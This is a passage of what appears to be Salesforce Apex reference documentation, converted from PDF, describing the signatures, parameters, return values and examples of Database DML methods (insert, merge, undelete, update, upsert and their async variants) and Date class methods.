The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

Return Value
Type: Database.SaveResult[]

Usage
insert is analogous to the INSERT statement in SQL.

Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

Each executed insert method counts against the governor limit for DML statements.

Example
Example:
The following example inserts two accounts:

```java
Account a = new Account(name = 'Acme1');
Database.SaveResult[] lsr = Database.insert(
    new Account[]{a, new Account(Name = 'Acme2')},
    false);
```

insert(recordToInsert, dmlOptions)

Adds an sObject, such as an individual account or contact, to your organization’s data.

Signature

public static Database.SaveResult insert(sObject recordToInsert, Database.DMLOptions dmlOptions)

Parameters

recordToInsert
Type: sObject
dmlOptions
Type: Database.DMLOptions

The optional dmlOptions parameter specifies additional data for the transaction, such as assignment rule information or rollback behavior when errors occur during record insertions.
Return Value
Type: `Database.SaveResult`

Usage
`insert` is analogous to the INSERT statement in SQL.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.
Each executed `insert` method counts against the governor limit for DML statements.

**`insert(recordToInsert, dmlOptions)`**
Adds an sObject, such as an individual account or contact, to your organization's data.

Signature
```
public static Database.SaveResult insert(sObject[] recordToInsert, Database.DMLOptions dmlOptions)
```

Parameters
- `recordToInsert`
  Type: `sObject[]`
- `dmlOptions`
  Type: `Database.DMLOptions`
  The optional `dmlOptions` parameter specifies additional data for the transaction, such as assignment rule information or rollback behavior when errors occur during record insertions.

Return Value
Type: `Database.SaveResult`

Usage
`insert` is analogous to the INSERT statement in SQL.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.
Each executed `insert` method counts against the governor limit for DML statements.

**`insertAsync(sobjects, callback)`**
Initiates requests to add external object data to the relevant external systems. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects' associated external data sources. Allows referencing a callback class whose `processSave` method is called for each record after the remote operations are completed.
Signature

```java
public static List<Database.SaveResult> insertAsync(List<SObject> sobjects,
DataSource.AsyncSaveCallback callback)
```

Parameters

- `sobjects`
  - Type: List<SObject>
  - List of external object records to insert.

- `callback`
  - Type: DataSource.AsyncSaveCallback
  - The callback object that contains the state in the originating context and an action (the `processSave` method) that executes after the insert operation is completed. Use the action callback to update org data according to the operation's results. The callback object must extend `DataSource.AsyncSaveCallback`.

Return Value

Type: List<Database.SaveResult>

Status results for the insert operation. Each result corresponds to a record processed by this asynchronous operation and is associated with a unique identifier (`asyncLocator`). The `asyncLocator` value is included in the errors array of the result. You can retrieve this identifier with `Database.getAsyncLocator()`. Retrieve the final result with `Database.getAsyncSaveResult()`.

**insertAsync(subject, callback)**

Initiates a request to add external object data to the relevant external system. The request is executed asynchronously, as a background operation, and is sent to the external system that's defined by the external object's associated external data source. Allows referencing a callback class whose `processSave` method is called after the remote operation is completed.

Signature

```java
public static Database.SaveResult insertAsync(SObject subject,
DataSource.AsyncSaveCallback callback)
```

Parameters

- `subject`
  - Type: SObject
  - The external object record to insert.

- `callback`
  - Type: DataSource.AsyncSaveCallback
  - The callback object that contains the state in the originating context and an action (the `processSave` method) that executes after the insert operation is completed. Use the action callback to update org data according to the operation's results. The callback object must extend `DataSource.AsyncSaveCallback`.

Return Value

Type: Database.SaveResult
Status result for the insert operation. The result corresponds to the record processed by this asynchronous operation and is associated with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().

**insertAsync(sobjects)**

Initiates requests to add external object data to the relevant external systems. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects' associated external data sources.

**Signature**

```java
public static List<Database.SaveResult> insertAsync(List<SObject> sobjects)
```

**Parameters**

- `sobjects`  
  Type: List<SObject>  
  List of external object records to insert.

**Return Value**

Type: List<Database.SaveResult>

Status results for the insert operation. Each result corresponds to a record processed by this asynchronous operation and is associated with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().

**insertAsync(object)**

Initiates a request to add external object data to the relevant external system. The request is executed asynchronously, as a background operation, and is sent to the external system that's defined by the external object's associated external data source.

**Signature**

```java
public static Database.SaveResult insertAsync(SObject object)
```

**Parameters**

- `object`  
  Type: SObject  
  The external object record to insert.

**Return Value**

Type: Database.SaveResult

Status result for the insert operation. The result corresponds to the record processed by this asynchronous operation and is associated with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().
**insertImmediate(sobjects)**

Initiates requests to add external object data to the relevant external systems. The requests are executed synchronously and are sent to the external systems that are defined by the external objects' associated external data sources. If the Apex transaction contains pending changes, the synchronous operations can't be completed and throw exceptions.

**Signature**

```
public static List<Database.SaveResult> insertImmediate(List<SObject> sobjects)
```

**Parameters**

- `sobjects`
  - Type: List<SObject>
  - List of external object records to insert.

**Return Value**

- Type: List<Database.SaveResult>
- Status results for the insert operation.

**insertImmediate(object)**

Initiates a request to add external object data to the relevant external system. The request is executed synchronously and is sent to the external system that's defined by the external object's associated external data source. If the Apex transaction contains pending changes, the synchronous operation can't be completed and throws an exception.

**Signature**

```
public static Database.SaveResult insertImmediate(SObject object)
```

**Parameters**

- `object`
  - Type: SObject
  - The external object record to insert.

**Return Value**

- Type: Database.SaveResult
- Status result for the insert operation.

**merge(masterRecord, duplicateId)**

Merges the specified duplicate record into the master sObject record of the same type, deleting the duplicate, and reparenting any related records. Merges only accounts, contacts, or leads.

**Signature**

```
public static Database.MergeResult merge(sObject masterRecord, Id duplicateId)
```
Parameters

masterRecord
  Type: sObject
  The master sObject record the duplicate record is merged into.

duplicateId
  Type: ID
  The ID of the record to merge with the master. This record must be of the same sObject type as the master.

Return Value

Type: Database.MergeResult

Usage

Each executed `merge` method counts against the governor limit for DML statements.

merge(masterRecord, duplicateRecord)

Merges the specified duplicate sObject record into the master sObject of the same type, deleting the duplicate, and reparenting any related records.

Signature

public static Database.MergeResult merge(sObject masterRecord, sObject duplicateRecord)

Parameters

masterRecord
  Type: sObject
  The master sObject record the duplicate record is merged into.

duplicateRecord
  Type: sObject
  The sObject record to merge with the master. This sObject must be of the same type as the master.

Return Value

Type: Database.MergeResult

Usage

Each executed `merge` method counts against the governor limit for DML statements.

merge(masterRecord, duplicateIds)

Merges up to two records of the same sObject type into the master sObject record, deleting the others, and reparenting any related records.
Signature

public static List<Database.MergeResult> merge(sObject masterRecord, List<Id> duplicateIds)

Parameters

masterRecord
Type: SObject
The master sObject record the other records are merged into.
duplicateIds
Type: List<Id>
A list of IDs of up to two records to merge with the master. These records must be of the same sObject type as the master.

Return Value
Type: List<Database.MergeResult>

Usage
Each executed merge method counts against the governor limit for DML statements.

merge(masterRecord, duplicateRecords)
Merges up to two records of the same object type into the master sObject record, deleting the others, and reparenting any related records.

Signature

public static List<Database.MergeResult> merge(sObject masterRecord, List<SObject> duplicateRecords)

Parameters

masterRecord
Type: SObject
The master sObject record the other sObjects are merged into.
duplicateRecords
Type: List<SObject>
A list of up to two sObject records to merge with the master. These sObjects must be of the same type as the master.

Return Value
Type: List<Database.MergeResult>

Usage
Each executed merge method counts against the governor limit for DML statements.
**merge**(masterRecord, duplicateId, allOrNone)

Merges the specified duplicate record into the master sObject record of the same type, optionally returning errors, if any, deleting the duplicate, and reparenting any related records. Merges only accounts, contacts, or leads.

**Signature**

```java
public static Database.MergeResult merge(sObject masterRecord, Id duplicateId, Boolean allOrNone)
```

**Parameters**

**masterRecord**

Type: sObject

The master sObject record the duplicate record is merged into.

**duplicate**

Type: ID

The ID of the record to merge with the master. This record must be of the same sObject type as the master.

**allOrNone**

Type: Boolean

Set to false to return any errors encountered in this operation as part of the returned result. If set to true, this method throws an exception if the operation fails. The default is true.

**Return Value**

Type: Database.MergeResult

**Usage**

Each executed merge method counts against the governor limit for DML statements.

**merge**(masterRecord, duplicateRecord, allOrNone)

Merges the specified duplicate sObject record into the master sObject of the same type, optionally returning errors, if any, deleting the duplicate, and reparenting any related records.

**Signature**

```java
public static Database.MergeResult merge(sObject masterRecord, sObject duplicateRecord, Boolean allOrNone)
```

**Parameters**

**masterRecord**

Type: sObject

The master sObject record the duplicate record is merged into.

**duplicateRecord**

Type: sObject

1888
The sObject record to merge with the master. This sObject must be of the same type as the master.

allOrNone
Type: Boolean
Set to false to return any errors encountered in this operation as part of the returned result. If set to true, this method throws an exception if the operation fails. The default is true.

Return Value
Type: Database.MergeResult

Usage
Each executed merge method counts against the governor limit for DML statements.

merge(masterRecord, duplicateIds, allOrNone)
Merges up to two records of the same sObject type into the master sObject record, optionally returning errors, if any, deleting the duplicates, and reparenting any related records.

Signature
public static List<Database.MergeResult> merge(sObject masterRecord, List<Id> duplicateIds, Boolean allOrNone)

Parameters
masterRecord
Type: SObject
The master sObject record the other records are merged into.

duplicateIds
Type: List<Id>
A list of IDs of up to two records to merge with the master. These records must be of the same sObject type as the master.

allOrNone
Type: Boolean
Set to false to return any errors encountered in this operation as part of the returned result. If set to true, this method throws an exception if the operation fails. The default is true.

Return Value
Type: List<Database.MergeResult>

Usage
Each executed merge method counts against the governor limit for DML statements.
**merge** *(masterRecord, duplicateRecords, allOrNone)*

Merges up to two records of the same object type into the master sObject record, optionally returning errors, if any, deleting the duplicates, and reparenting any related records.

**Signature**

```java
public static List<Database.MergeResult> merge(sObject masterRecord, List<SObject> duplicateRecords, Boolean allOrNone)
```

**Parameters**

- **masterRecord**
  - Type: `sObject`
  - The master sObject record the other sObjects are merged into.

- **duplicateRecords**
  - Type: `List<SObject>`
  - A list of up to two sObject records to merge with the master. These sObjects must be of the same type as the master.

- **allOrNone**
  - Type: `Boolean`
  - Set to `false` to return any errors encountered in this operation as part of the returned result. If set to `true`, this method throws an exception if the operation fails. The default is `true`.

**Return Value**

Type: `List<Database.MergeResult>`

**Usage**

Each executed `merge` method counts against the governor limit for DML statements.

---

**query** *(queryString)*

Creates a dynamic SOQL query at runtime.

**Signature**

```java
public static sObject[] query(String queryString)
```

**Parameters**

- **queryString**
  - Type: `String`

**Return Value**

Type: `sObject[]`
Usage
This method can be used wherever a static SOQL query can be used, such as in regular assignment statements and for loops. Unlike inline SOQL, fields in bind variables are not supported.
For more information, see Dynamic SOQL on page 177.
Each executed query method counts against the governor limit for SOQL queries.

rollback(databaseSavepoint)
Restores the database to the state specified by the savepoint variable. Any emails submitted since the last savepoint are also rolled back and not sent.

Signature
public static Void rollback(System.Savepoint databaseSavepoint)

Parameters
databaseSavepoint
Type: System.Savepoint

Return Value
Type: Void

Usage
Note the following:
• Static variables are not reverted during a rollback. If you try to run the trigger again, the static variables retain the values from the first run.
• Each rollback counts against the governor limit for DML statements. You will receive a runtime error if you try to rollback the database additional times.
• The ID on an sObject inserted after setting a savepoint is not cleared after a rollback. Create an sObject to insert after a rollback. Attempting to insert the sObject using the variable created before the rollback fails because the sObject variable has an ID. Updating or upserting the sObject using the same variable also fails because the sObject is not in the database and, thus, cannot be updated.
For an example, see Transaction Control.

setSavepoint()
Returns a savepoint variable that can be stored as a local variable, then used with the rollback method to restore the database to that point.

Signature
public static System.Savepoint setSavepoint()
**Usage**

Note the following:

- If you set more than one savepoint, then roll back to a savepoint that is not the last savepoint you generated, the later savepoint variables become invalid. For example, if you generated savepoint SP1 first, savepoint SP2 after that, and then you rolled back to SP1, the variable SP2 would no longer be valid. You will receive a runtime error if you try to use it.
- References to savepoints cannot cross trigger invocations because each trigger invocation is a new trigger context. If you declare a savepoint as a static variable then try to use it across trigger contexts, you will receive a run-time error.
- Each savepoint you set counts against the governor limit for DML statements.

For an example, see Transaction Control.

**undelete**(recordToUndelete, allOrNone)

Restores an existing sObject record, such as an individual account or contact, from your organization’s Recycle Bin.

**Signature**

```java
public static Database.UndeleteResult undelete(sObject recordToUndelete, Boolean allOrNone)
```

**Parameters**

- `recordToUndelete`
  Type: `sObject`
- `allOrNone`
  Type: `Boolean`

  The optional `allOrNone` parameter specifies whether the operation allows partial success. If you specify `false` for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

**Return Value**

Type: `Database.UndeleteResult`

**Usage**

`undelete` is analogous to the UNDELETE statement in SQL.

Each executed `undelete` method counts against the governor limit for DML statements.

**undelete**(recordsToUndelete, allOrNone)

Restores one or more existing sObject records, such as individual accounts or contacts, from your organization’s Recycle Bin.

**Signature**

```java
public static Database.UndeleteResult[] undelete(sObject[] recordsToUndelete, Boolean allOrNone)
```
Parameters

recordsToUndelete
Type: sObject []

allOrNone
Type: Boolean

The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

Return Value

Type: Database.UndeleteResult[]

Usage

undelete is analogous to the UNDELETE statement in SQL.

Each executed undelete method counts against the governor limit for DML statements.

Example

The following example restores all accounts named 'Trump'. The ALL ROWS keyword queries all rows for both top-level and aggregate relationships, including deleted records and archived activities.

```java
Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Trump' ALL ROWS];
Database.UndeleteResult[] UDR_Dels = Database.undelete(savedAccts);
```

undelete(recordID, allOrNone)

Restores an existing sObject record, such as an individual account or contact, from your organization’s Recycle Bin.

Signature

public static Database.UndeleteResult undelete(ID recordID, Boolean allOrNone)

Parameters

recordID
Type: ID

allOrNone
Type: Boolean

The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

Return Value

Type: Database.UndeleteResult
Usage

undelete is analogous to the UNDELETE statement in SQL.

Each executed undelete method counts against the governor limit for DML statements.

**undelete(recordIDs, allOrNone)**

Restores one or more existing sObject records, such as individual accounts or contacts, from your organization’s Recycle Bin.

**Signature**

```java
public static Database.UndeleteResult[] undelete(ID[] recordIDs, Boolean allOrNone)
```

**Parameters**

- **RecordIDs**
  - Type: ID[]
- **allOrNone**
  - Type: Boolean

  The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

**Return Value**

Type: Database.UndeleteResult[]

Usage

undelete is analogous to the UNDELETE statement in SQL.

Each executed undelete method counts against the governor limit for DML statements.

**update(recordToUpdate, allOrNone)**

Modifies an existing sObject record, such as an individual account or contact, in your organization’s data.

**Signature**

```java
public static Database.SaveResult update(sObject recordToUpdate, Boolean allOrNone)
```

**Parameters**

- **recordToUpdate**
  - Type: sObject
- **allOrNone**
  - Type: Boolean

  The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.
Return Value
Type: Database.SaveResult

Usage
update is analogous to the UPDATE statement in SQL.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.
Each executed update method counts against the governor limit for DML statements.

Example
The following example updates the BillingCity field on a single account.

```java
Account a = new Account(Name='SFDC');
insert(a);

Account myAcct =
    [SELECT Id, Name, BillingCity
    FROM Account WHERE Id = :a.Id];
myAcct.BillingCity = 'San Francisco';

Database.SaveResult SR =
    Database.update(myAcct);
```

**update(recordsToUpdate, allOrNone)**
Modifies one or more existing sObject records, such as individual accounts or contacts invoice statements, in your organization’s data.

Signature
public static Database.SaveResult[] update(sObject[] recordsToUpdate, Boolean allOrNone)

Parameters
recordsToUpdate
Type: sObject []

allOrNone
Type: Boolean
The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

Return Value
Type: Database.SaveResult[]

Usage
update is analogous to the UPDATE statement in SQL.
Each executed `update` method counts against the governor limit for DML statements.

**update**(recordToUpdate, dmlOptions)

Modifies an existing sObject record, such as an individual account or contact, in your organization’s data.

**Signature**

```java
public static Database.SaveResult update(sObject recordToUpdate, Database.DmlOptions dmlOptions)
```

**Parameters**

- `recordToUpdate`  
  Type: sObject

- `dmlOptions`  
  Type: Database.DMLOptions

  The optional `dmlOptions` parameter specifies additional data for the transaction, such as assignment rule information or rollback behavior when errors occur during record insertions.

**Return Value**

Type: Database.SaveResult

**Usage**

`update` is analogous to the UPDATE statement in SQL.

Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

Each executed `update` method counts against the governor limit for DML statements.

**update**(recordsToUpdate, dmlOptions)

Modifies one or more existing sObject records, such as individual accounts or contacts in invoice statements, in your organization’s data.

**Signature**

```java
public static Database.SaveResult[] update(sObject[] recordsToUpdate, Database.DMLOptions dmlOptions)
```

**Parameters**

- `recordsToUpdate`  
  Type: sObject[]

- `dmlOptions`  
  Type: Database.DMLOptions

  The optional `dmlOptions` parameter specifies additional data for the transaction, such as assignment rule information or rollback behavior when errors occur during record insertions.
Return Value
Type: `Database.SaveResult[]`

Usage
update is analogous to the UPDATE statement in SQL.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.
Each executed `update` method counts against the governor limit for DML statements.

`upsert(recordToUpsert, externalIdField, allOrNone)`
Creates a new sObject record or updates an existing sObject record within a single statement, using a specified field to determine the presence of existing objects, or the ID field if no field is specified.

Signature
`public static Database.UpsertResult upsert(sObject recordToUpsert, Schema.SObjectField externalIDField, Boolean allOrNone)`

Parameters
`recordToUpsert`
Type: `sObject`

`externalIdField`
Type: `Schema.SObjectField`
The `externalIdField` is of type `Schema.SObjectField`, that is, a field token. Find the token for the field by using the `fields` special method. For example, `Schema.SObjectField f = Account.Fields.MyExternalId`. The `externalIdField` parameter is the field that `upsert()` uses to match sObjects with existing records. This field can be a custom field marked as external ID, or a standard field with the `idLookup` attribute.

`allOrNone`
Type: `Boolean`
The optional `allOrNone` parameter specifies whether the operation allows partial success. If you specify `false` for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

Return Value
Type: `Database.UpsertResult`

Usage
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.
Each executed `upsert` method counts against the governor limit for DML statements.
For more information on how the upsert operation works, see the `upsert()` statement.
**upsert**(recordsToUpsert, externalIdField, allOrNone)

Creates new sObject records or updates existing sObject records within a single statement, using a specified field to determine the presence of existing objects, or the ID field if no field is specified.

**Signature**

```java
public static Database.UpsertResult[] upsert(sObject[] recordsToUpsert, Schema.SObjectField externalIdField, Boolean allOrNone)
```

**Parameters**

- **recordsToUpsert**
  - Type: sObject []

- **externalIdField**
  - Type: Schema.SObjectField

  The **externalIdField** is of type Schema.SObjectField, that is, a field token. Find the token for the field by using the fields special method. For example, Schema.SObjectField f = Account.Fields.MyExternalId. The **externalIdField** parameter is the field that **upsert()** uses to match sObjects with existing records. This field can be a custom field marked as external ID, or a standard field with the idLookup attribute.

- **allOrNone**
  - Type: Boolean

  The optional **allOrNone** parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

**Return Value**

- Type: Database.UpsertResult[]

**Usage**

- Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.
- Each executed **upsert** method counts against the governor limit for DML statements.
- For more information on how the upsert operation works, see the **upsert() statement**.

**updateAsync**(sobjects, callback)

Initiates requests to update external object data on the relevant external systems. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects’ associated external data sources. Allows referencing a callback class whose **processSave** method is called for each record after the remote operations are completed.

**Signature**

```java
public static List<Database.SaveResult> updateAsync(List<SObject> sobjects, DataSource.AsyncSaveCallback callback)
```
Parameters

`sobjects`
Type: List<SObject>
List of external object records to modify.

callback
Type: DataSource.AsyncSaveCallback
The callback object that contains the state in the originating context and an action (the `processSave` method) that executes after the insert operation is completed. Use the action callback to update org data according to the operation's results. The callback object must extend DataSource.AsyncSaveCallback.

Return Value

Type: List<Database.SaveResult>
Status results for the update operation. Each result corresponds to a record processed by this asynchronous operation and is associated with a unique identifier (`asyncLocator`). The `asyncLocator` value is included in the errors array of the result. You can retrieve this identifier with `Database.getAsyncLocator()`. Retrieve the final result with `Database.getAsyncSaveResult()`.

`updateAsync(sobject, callback)`

Initiates a request to update external object data on the relevant external system. The request is executed asynchronously, as a background operation, and is sent to the external system that's defined by the external object's associated external data source. Allows referencing a callback class whose `processSave` method is called after the remote operation is completed.

Signature

`public static Database.SaveResult updateAsync(SObject sobject, DataSource.AsyncSaveCallback callback)`

Parameters

`sobject`
Type: SObject
External object record to modify.

callback
Type: DataSource.AsyncSaveCallback

The callback object that contains the state in the originating context and an action (the `processSave` method) that executes after the insert operation is completed. Use the action callback to update org data according to the operation's results. The callback object must extend DataSource.AsyncSaveCallback.

Return Value

Type: Database.SaveResult
Status result for the insert operation. The result corresponds to a record processed by this asynchronous operation and is associated with a unique identifier (`asyncLocator`). The `asyncLocator` value is included in the errors array of the result. You can retrieve this identifier with `Database.getAsyncLocator()`. Retrieve the final result with `Database.getAsyncSaveResult()`.
**updateAsync** *(sobjects)*
Initiates requests to update external object data on the relevant external systems. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects’ associated external data sources.

**Signature**

```java
public static List<Database.SaveResult> updateAsync(List<SObject> sobjects)
```

**Parameters**

*sobjects*
Type: List<SObject>
List of external object records to modify.

**Return Value**
Type: List<Database.SaveResult>
Status results for the update operation. Each result corresponds to a record processed by this asynchronous operation and is associated with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve this identifier with `Database.getAsyncLocator()`. Retrieve the final result with `Database.getAsyncSaveResult()`.

**updateAsync** *(sobject)*
Initiates a request to update external object data on the relevant external system. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source.

**Signature**

```java
public static Database.SaveResult updateAsync(SObject sobject)
```

**Parameters**

*sobject*
Type: SObject
External object record to modify.

**Return Value**
Type: Database.SaveResult
Status result for the insert operation. The result corresponds to a record processed by this asynchronous operation and is associated with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve this identifier with `Database.getAsyncLocator()`. Retrieve the final result with `Database.getAsyncSaveResult()`.

**updateImmediate** *(sobjects)*
Initiates requests to update external object data on the relevant external systems. The requests are executed synchronously and are sent to the external systems that are defined by the external objects’ associated external data sources. If the Apex transaction contains pending changes, the synchronous operations can’t be completed and throw exceptions.
public static List<Database.SaveResult> updateImmediate(List<SObject> sobjects)

Parameters
sobjects
Type: List<SObject>
List of external object records to modify.

Return Value
Type: List<Database.SaveResult>
Status results for the update operation.

updateImmediate(sobject)
Initiates a request to update external object data on the relevant external system. The request is executed synchronously and is sent to the external system that’s defined by the external object’s associated external data source. If the Apex transaction contains pending changes, the synchronous operation can’t be completed and throws an exception.

public static Database.SaveResult updateImmediate(SObject object)

Parameters
object
Type: SObject
External object record to modify.

Return Value
Type: Database.SaveResult
Status result for the update operation.

Date Class
Contains methods for the Date primitive data type.

Namespace
System

Usage
For more information on Dates, see Primitive Data Types on page 27.
Date Methods

The following are methods for Date.

IN THIS SECTION:

addDays(additionalDays)
Adds the specified number of additional days to a Date.

addMonths(additionalMonths)
Adds the specified number of additional months to a Date

addYears(additionalYears)
Adds the specified number of additional years to a Date

day()
Returns the day-of-month component of a Date.

dayOfYear()
Returns the day-of-year component of a Date.

daysBetween(secondDate)
Returns the number of days between the Date that called the method and the specified date.

daysInMonth(year, month)
Returns the number of days in the month for the specified year and month (1=Jan).

format()
Returns the Date as a string using the locale of the context user

isLeapYear(year)
Returns true if the specified year is a leap year.

isSameDay(dateToCompare)
Returns true if the Date that called the method is the same as the specified date.

month()
Returns the month component of a Date (1=Jan).

monthsBetween(secondDate)
Returns the number of months between the Date that called the method and the specified date, ignoring the difference in days.

newInstance(year, month, date)
Constructs a Date from Integer representations of the year, month (1=Jan), and day.

parse(stringDate)
Constructs a Date from a String. The format of the String depends on the local date format.

today()
Returns the current date in the current user's time zone.

toStartOfMonth()
Returns the first of the month for the Date that called the method.

toStartOfWeek()
Returns the start of the week for the Date that called the method, depending on the context user's locale.

valueOf(stringDate)
Returns a Date that contains the value of the specified String.
valueOf(fieldValue)
Converts the specified object to a Date. Use this method to convert a history tracking field value or an object that represents a Date value.

year()
Returns the year component of a Date

addDays(additionalDays)
Adds the specified number of additional days to a Date.

**Signature**

```
public Date addDays(Integer additionalDays)
```

**Parameters**

- **additionalDays**  
  *Type: Integer*

**Return Value**

*Type: Date*

**Example**

```
Date myDate = Date.newInstance(1960, 2, 17);
Date newDate = myDate.addDays(2);
```

addMonths(additionalMonths)
Adds the specified number of additional months to a Date.

**Signature**

```
public Date addMonths(Integer additionalMonths)
```

**Parameters**

- **additionalMonths**  
  *Type: Integer*

**Return Value**

*Type: Date*

**Example**

```
date myDate = date.newInstance(1990, 11, 21);
date newDate = myDate.addMonths(3);
```
addYears(additionalYears)

Adds the specified number of additional years to a Date

Signature

public Date addYears(Integer additionalYears)

Parameters

additionalYears

Type: Integer

Return Value

Type: Date

Example

date myDate = date.newInstance(1983, 7, 15);
date newDate = myDate.addYears(2);
date expectedDate = date.newInstance(1985, 7, 15);
system.assertEquals(expectedDate, newDate);

day()

Returns the day-of-month component of a Date.

Signature

public Integer day()

Return Value

Type: Integer

Example

date myDate = date.newInstance(1989, 4, 21);
Integer day = myDate.day();
system.assertEquals(21, day);

dayOfYear()

Returns the day-of-year component of a Date.

1904
Signature

```java
public Integer dayOfYear()
```

Return Value
Type: Integer

Example
```
date myDate = date.newInstance(1998, 10, 21);
Integer day = myDate.dayOfYear();
System.assertEquals(294, day);
```

daysBetween(secondDate)
Returns the number of days between the Date that called the method and the specified date.

Signature

```java
public Integer daysBetween(Date secondDate)
```

Parameters
secondDate
Type: Date

Return Value
Type: Integer

Usage
If the Date that calls the method occurs after the `compDate`, the return value is negative.

Example
```
Date startDate = Date.newInstance(2008, 1, 1);
Date dueDate = Date.newInstance(2008, 1, 30);
Integer numberDaysDue = startDate.daysBetween(dueDate);
```

daysInMonth(year, month)
Returns the number of days in the month for the specified `year` and `month` (1=Jan).

Signature

```java
public static Integer daysInMonth(Integer year, Integer month)
```
Parameters

\[ \text{year} \]
Type: Integer

\[ \text{month} \]
Type: Integer

Return Value
Type: Integer

Example
The following example finds the number of days in the month of February in the year 1960.

```java
Integer numberDays = date.daysInMonth(1960, 2);
```

\textbf{format()}
Returns the Date as a string using the locale of the context user

Signature
```java
public String format()
```

Return Value
Type: String

Example
```
// In American-English locale
date myDate = date.newInstance(2001, 3, 21);
String dayString = myDate.format();
system.assertEquals('3/21/2001', dayString);
```

\textbf{isLeapYear(year)}
Returns \texttt{true} if the specified year is a leap year.

Signature
```java
public static Boolean isLeapYear(Integer year)
```

Parameters

\[ \text{year} \]
Type: Integer
**Return Value**
Type: Boolean

**Example**
```
system.assert(Date.isLeapYear(2004));
```

**isSameDay(dateToCompare)**
Returns true if the Date that called the method is the same as the specified date.

**Signature**
```
public Boolean isSameDay(Date dateToCompare)
```

**Parameters**
- `dateToCompare`
  Type: Date

**Return Value**
Type: Boolean

**Example**
```
date myDate = date.today();
date dueDate = date.newInstance(2008, 1, 30);
boolean dueNow = myDate.isSameDay(dueDate);
```

**month()**
Returns the month component of a Date (1=Jan).

**Signature**
```
public Integer month()
```

**Return Value**
Type: Integer

**Example**
```
date myDate = date.newInstance(2004, 11, 21);
Integer month = myDate.month();
system.assertEquals(11, month);
```
monthsBetween (secondDate)
Returns the number of months between the Date that called the method and the specified date, ignoring the difference in days.

Signature
public Integer monthsBetween(Date secondDate)

Parameters
secondDate
Type: Date

Return Value
Type: Integer

Example
```java
Date firstDate = Date.newInstance(2006, 12, 2);
Date secondDate = Date.newInstance(2012, 12, 8);
Integer monthsBetween = firstDate.monthsBetween(secondDate);
System.assertEquals(72, monthsBetween);
```

newInstance(year, month, date)
Constructs a Date from Integer representations of the year, month (1=Jan), and day.

Signature
public static Date newInstance(Integer year, Integer month, Integer date)

Parameters
year
Type: Integer

month
Type: Integer

date
Type: Integer

Return Value
Type: Date

Example
The following example creates the date February 17th, 1960:
```java
Date myDate = date.newInstance(1960, 2, 17);
```
**parse**(stringDate)

Constructs a Date from a String. The format of the String depends on the local date format.

**Signature**

```java
public static Date parse(String stringDate)
```

**Parameters**

- `stringDate`
  - Type: String

**Return Value**

- Type: Date

**Example**

The following example works in some locales.

```java
date mydate = date.parse('12/27/2009');
```

**today()**

Returns the current date in the current user's time zone.

**Signature**

```java
public static Date today()
```

**Return Value**

- Type: Date

**toStartOfMonth()**

Returns the first of the month for the Date that called the method.

**Signature**

```java
public Date toStartOfMonth()
```

**Return Value**

- Type: Date

**Example**

```java
date myDate = date.newInstance(1987, 12, 17);
date firstDate = myDate.toStartOfMonth();
```
```java
date expectedDate = date.newInstance(1987, 12, 1);
system.assertEquals(expectedDate, firstDate);
```

toStartOfWeek()

Returns the start of the week for the Date that called the method, depending on the context user's locale.

**Signature**

```
public Date toStartOfWeek()
```

**Return Value**

Type: `Date`

**Example**

For example, the start of a week is Sunday in the United States locale, and Monday in European locales. For example:

```java
Date myDate = Date.today();
Date weekStart = myDate.toStartOfWeek();
```

valueOf(stringDate)

Returns a Date that contains the value of the specified String.

**Signature**

```
public static Date valueOf(String stringDate)
```

**Parameters**

`stringDate`

Type: `String`

**Return Value**

Type: `Date`

**Usage**

